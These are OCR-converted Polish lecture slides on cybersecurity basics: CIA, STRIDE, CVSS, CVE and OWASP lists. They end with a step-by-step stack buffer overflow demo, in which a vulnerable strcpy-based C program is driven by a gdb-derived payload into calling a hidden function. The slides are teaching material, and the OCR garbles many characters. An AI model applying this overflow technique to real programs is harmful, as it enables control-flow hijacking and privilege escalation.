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Definicje

Cyberbezpieczenstwo

Cyberbezpieczenstwo lub bezpieczenstwo systemow komputerowych
lub, w uproszczeniu, bezpieczenstwo to dyscyplina inzynierii i nauki
zajmujaca sie ochrong zasobow komputerowych i sieciowych. Poje-
cie to moze by¢ rozpatrywane w dwoch aspektach: przeciwdziatania
celowemu naruszeniu ochrony (ang. security) lub przypadkowemu
(ang. safety).

7 punktu widzenia inZynierii oprogramowania lub inZynierii sys-
temow bezpieczenstwo jest wymaganiem niefunkcjonalnym zalicza-
nym do atrybutow jakosciowych. Musi byé¢ zatem opisane w sposob
umozliwiajacy jego ocene (pomiar) i weryfikacje.
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CIA

Bezpieczenstwo jest wymaganiem zloZonym, co oznacza, ze moze
sktada¢ si¢ z wielu mniejszych wymagan. Tworzac oprogramowa-

nie nalezy je wszystkie odkry¢, przeanalizowaé i zaimplementowad.
Najbardziej wysokopoziomowe z nich, a zarazem najwazniejsze, to
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CIA

W niektérych opracowaniach ta triada CIA jest uzupelniana przez
Niezaprzeczalnosé (ang. Non-repudation) lub Odpowiedzialno$é (ang.
Accountability). Aby te wymagania mogly by¢ spelnione potrzebne
sg mechanizmy zapewniajace:

o Identyfikacje i Uwierzytelnienie! (ang. Identification € Authen-

tication — I6A),

e Autoryzacje (ang. Authorization),

o Audyt (logowanie) (ang. Auditing aka logging).
Innym zrédlem wymagan zwiazanych z bezpieczenstwem moga by¢
standardy obowiazujace w danej dziedzinie zastosowan.

1Uwaga jezykowa: wyraz ,autentykacja” jest bledem! Zrédlo: https://rjp.pan.
pl/porady-jezykowe-main/263-autentykacja
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Modelowanie zagrozen

Bezpieczenstwo to nie produkt, ale proces. Zatem nie moze ono by¢
tylko i wylacznie brane pod uwage w trakcie tworzenia oprogra-
mowania, ale powinno by¢ uwzglednione w calym jego cyklu Zycia.
W tym zadaniu pomaga modelowanie zagrozen, ktére polega na ich
identyfikacji, ocenie ryzyka (rozumianego jako iloczyn kosztu mate-
rializacji zagrozenia i prawdopodobienstwa wystapienia takiej sytu-
acji), opracowaniu polityki zabezpieczenia przed nimi oraz wdroze-
niu odpowiednich mechanizmoéw z tej polityki wynikajacych. Istnieje
kilkanascie metod przeprowadzania tej czynnosci oraz wiele narze-
dzi, ktére te czynnosé wspomagaja. Z punktu widzenia inzynierii
oprogramowania dwa narzedzia sa szczegélnie przydatne: STRIDE
1 CVSS.
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Definicje

Modelowanie zagrozen

Najwigksza korzyscia jaka daje modelowanie zagrozen jest identyfi-
kacja zagrozen i mozliwosci poprawy bezpieczenstwa systemu kom-
puterowego. Aby to osiggnaé nalezy okresli¢:

@ kto jest intruzem (obce panstwo, organizacja przestepcza, osoby
z zewnatrz, uzytkownicy systemu (ang. insiders)),

@ czym jest analizowane zagrozenie,

@ w jakich okolicznosciach sie ono pojawia,

@ gdzie znajduje sie¢ staby punkt, ktéry pozwala zagrozeniu zaist-
nied,

@ jaki wplyw bedzie miato pojawienie si¢ zagrozenia,

O w jaki sposéb mozna zagrozeniu zapobiec lub zminimalizowaé
jego skutki?
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STRIDE

W identyfikacji zagrozen moze pomoc taksonomia STRIDE opraco-
wana przez pracownikow firmy Microsoft:

Zagrozenie Pozadana cecha
Spoofing (Podszywanie sie) Uwierzytelnianie
Tampering (Manipulacja) Integralnosé
Repudiation (Zaprzeczalno$¢) Niezaprzeczalnoéé

Information disclosure (Ujawnienie informacji) | Poufnos$é
Denial of service (Odmowa ustugi) Dostepnosé
Elevation of privileges (Eskalacja uprawniert) | Autoryzacja
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CVSS

Podatnos$cig lub lukq zabezpieczer (ang. vulnerability) nazywa sie
kazdy defekt w oprogramowaniu, ktory swiadczy o tym, ze nie zo-
staly spelnione wymagania bezpieczenstwa. Do oceny ryzyka zwia-
zanego z odkryta podatnoscia moze postuzyé system cvss (ang.
Common Vulnerability Scoring System), ktéry pozwala jej przypi-
sac¢ ocene od 0 (brak zagrozenia) do 10 (najpowazniejsze zagrozenie).
Wyliczenia tej oceny mozna dokonaé

Common Vulnerabilities and Exposures (CVE) to baza danych o zna-
nych i nowych podatnosciach w powszechnie dostepnym oprogra-
mowaniu. Kazda uwzgledniona w niej luka, oprécz opisu, posiada
takze unikatowy identyfikator postaci CVE-rok-numer, gdzie numer
jest unikatowsg liczba naturalng. Nalezy jednak pamietaé, ze zglo-
szenie podatnodci jest dobrowolne, dlatego nie wszystkie znane luki
sg w tej bazie uwzglednione. Dodatkowo nie ma w niej podatnoéci
wystepujacych w oprogramowaniu specjalistycznym.
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Klasyfikacje podatnos¢

to lista dwudziestu pieciu naj-
grozniejszych typow podatnosci ogdlnie wystepujacych w oprogra-
mowaniu. Jest ona aktualizowana cyklicznie. By¢ moze najbardziej
niepokojacym wnioskiem z lektury jej kolejnych publikacji jest to,
ze nowe luki sa dodawane dosy¢ rzadko do tej listy. Dominuja na
niej podatnosci, ktére znane byly juz w latach 70. ubiegtego wieku.
Jedynie zmieniajg one pozycje na tej liScie. Listy 10 najczestszych
rodzajow luk wystepujacych w oprogramowaniu zwiazanym z Inter-
netem publikuje organizacja @EEED. Naleza od nich:

'Y * OWASP Top 10 Web Application Security Risks .
Y » OWASP API Security Top 10 s
" * OWASP Mobile Top 10 ,

Y * OWASP Internet of Things Top 10 2
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Przyktad

Podatnosé Buffer Overflow/Overrun

Czy w tym programie da sie wywola¢ funkcje print_secret (), ma-
jac dostep tylko do pliku wykonywalnego?

#include<stdio.h>

#include<string.h>

void say_hello(char *string);
static void print_secret(void);

int main(int argc, char **argv)
{
if (argc==2)
say_hello(argv[1]);
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Przyktad

Podatnosé Buffer Overflow/Overrun

void say_hello(char *string)

{
char buffer[10]={0};
strcpy(buffer,string);
printf ("Hello, %s!\n", buffer);
}

static void print_secret(void)
{

printf("Tajemnica, ktdérej nikt nie powinien
-~ poznaé!\n");

3
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Podatnosé Buffer Overflow/Overflow

SprawdZzmy jak dziata:

./vulnerability Arek
Hello, Arek!

Prawidlowo. To sprébujmy co$ zepsué 3
./vulnerability AAAAAAAAAA
Hello, AAAAAAAAAA!

[1] 11776 segmentation fault (core dumped)
./vulnerability AAAAAAAAAA

Sprobujmy to troche zautomatyzowaé:

./vulnerability “python -c 'print("A"*10)'"
Hello, AAAAAAAAAA!

[1] 21541 segmentation fault (core dumped)
./vulnerability “python -c 'print("A"*10)'"
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Przyktad

Podatnosé Buffer Overflow/Overrun

Mapa pamieci w Linuksie

koniec

jadro systemu

stos

!
1

Adresy rosna w ta strone.

sterta

dane

tekst

poczatek
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Przyktad

Podatnosé Buffer Overflow/Overrun

(Zgrubna) organizacja ramki stosu (x86-64)

parametry

adres powrotny

zmienne lokalne
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Przyktad

Podatnosé Buffer Overflow/Overrun

Skoro tablica buffer w funkcji say_hello() jest zmienng lokalna
i mozna zapisa¢ w niej wiecej znakéw niz przewiduje jej rozmiar,
to znaczy, ze mozna nadpisa¢ adres powrotny! Gdybys$my tylko wie-
dzieli ile znakow trzeba zapisa¢ w tym celu w buffer i jaki jest adres
funkcji print_secret (). Uzyjmy debuggera (gdb)!

gdb ./vulnerability

(gdb) run $(python -c 'print("A"*10)')
Starting program: /home/arek/programming/c/pd/
vulnerability $(python -c 'print("A"*10)')
Hello, AAAAAAAAAA!

Program received signal SIGSEGV, Segmentation fault.
0x0000555555554708 in main (argc=32767, argv=0x1)

at vulnerability.c:11

11}
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Przyktad

Podatnosé Buffer Overflow/Overrun

Nie dowiedzieliémy sie¢ niczego nowego, ale zwiekszmy liczbe liter
»A” w argumencie:

(gdb) run $(python -c 'print("A"*18)')

The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/arek/programming/c/pd/
vulnerability $(python -c 'print("A"*18)')

Hello, AAAAAAAAAAAAAAAAAA!

Program received signal SIGSEGV, Segmentation fault.
0x0000555555554700 in main (argc=<error reading variable:
Cannot access memory at address 0x414141414141413d>,
argv=<error reading variable: Cannot access memory at
address 0x4141414141414131>)

at vulnerability.c:10
10 say_hello(argv([1]);
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Przyktad

Podatnosé Buffer Overflow/Overrun

Aha! Czyli 18 znakéw wystarczy, aby nadpisaé adres powrotny. Ustal-
my teraz adres funkcji print_secret () (uwaga program w debug-
gerze musi by¢ uruchomiony).

(gdb) print print_secret
$1 = {void (void)} 0x555555554751 <print_secret>

Jest jeszcze jedna rzecz, o ktére trzeba pamieta¢ — w komputerach
z procesorami Intela i AMD bajty sa zapisywane w formacie little
endian!

(gdb) run
$(python -c 'print("A"*18+"\x51\x47\x55\x55\x55\x55") ")
Starting program: /home/arek/programming/c/pd/
vulnerability
$(python -c 'print("A"*x18+"\x51\x47\x55\x55\x55\x55") ")
Hello, AAAAAAAAAAAAAAAAAAQGUUUU!
Tajemnica, ktérej nikt nie powinien poznac!

22 /27



Przyktad

Podatnosé Buffer Overflow/Overrun

Program received signal SIGSEGV, Segmentation fault.
0x00007f£f££f££f£d908 in 77 ()

SprawdZmy jeszcze, czy zadziala z wiersza polecen:

./vulnerability
“python -c 'print("A"*18+"\x51\x47\x55\x55\x55\x55") ' "

Hello, AAAAAAAAAAAAAAAAAAQGUUUU!

Tajemnica, ktdérej nikt nie powinien poznac!

[1] 6239 segmentation fault (core dumped)
./vulnerability “python -c

"print ("A"*18+"\x51\x47\x55\x55\x55\x55") '~
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Przyktad

Konkluzje

Czy to naprawde jest takie proste?

Nie. Wspoélczesne kompilatory i systemy operacyjne stosuja dodat-
kowe zabezpieczenia, ktére utrudniajg wykorzystanie luk typu buf-
fer overflow. Zeby zademonstrowaé jej skutki musiatem uzyé fla-
gi kompilatora -fno-stack-protector oraz wylaczy¢ mechanizm
ASLR (ang. Address Space Layout Randomization) poleceniem: sudo
sysctl -w kernel.randomize_va_space=0

v

Czy ta podatnosé dotyczy tylko jezyka C?

Nie, moze dotyczy¢ takze kazdego innego, jak C++, C#, Python,
Java. Jednakze nowsze jezyki maja zazwyczaj wbudowane mecha-
nizmy kontrolujace liczbe zapisywanych bajtéw do tablic i innych
zmiennych, a ponadto programy w nich napisane nie sa bezposred-
nio wykonywane przez sprzet. Nie wyklucza to jednak calkowicie
wystepienia tej luki.

v
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Konkluzje

Ciag dalszy

Jak powazne moga by¢ konsekwencje takiej podatnosci?

Jedli program z ta luka jest wykonywany z uprawnieniami uzytkow-
nika root, ale moze by¢ uruchomiony przez zwykltego uzytkownika,
to intruz moze np. wywolaé powloke systemowa (wiersz polecen)
przy jego pomocy i przejac¢ kontrole nad systemie. Jesli nawet pro-
gram jest wykonywany z uprawnieniami zwyklego uzytkownika, ale
dostarcza ustug przez sieé, to intruz takze moze probowaé wywotaé
powtoke, co daje mu punkt wyjéciowy do dalszych atakéw.

Czy naprawde trzeba sie przejmowac ta luka?

Tak. Wspomniane wczesniej mechanizmy tylko utrudniajg wykorzy-
stanie opisanej podatnosci, ale jej nie eliminujg. O bezpieczny kod
musi zadbaé¢ programista.

v
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Zakonczenie

Pytania
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Zakonczenie

KoNIEC

Dziekuje Panstwu za uwage!
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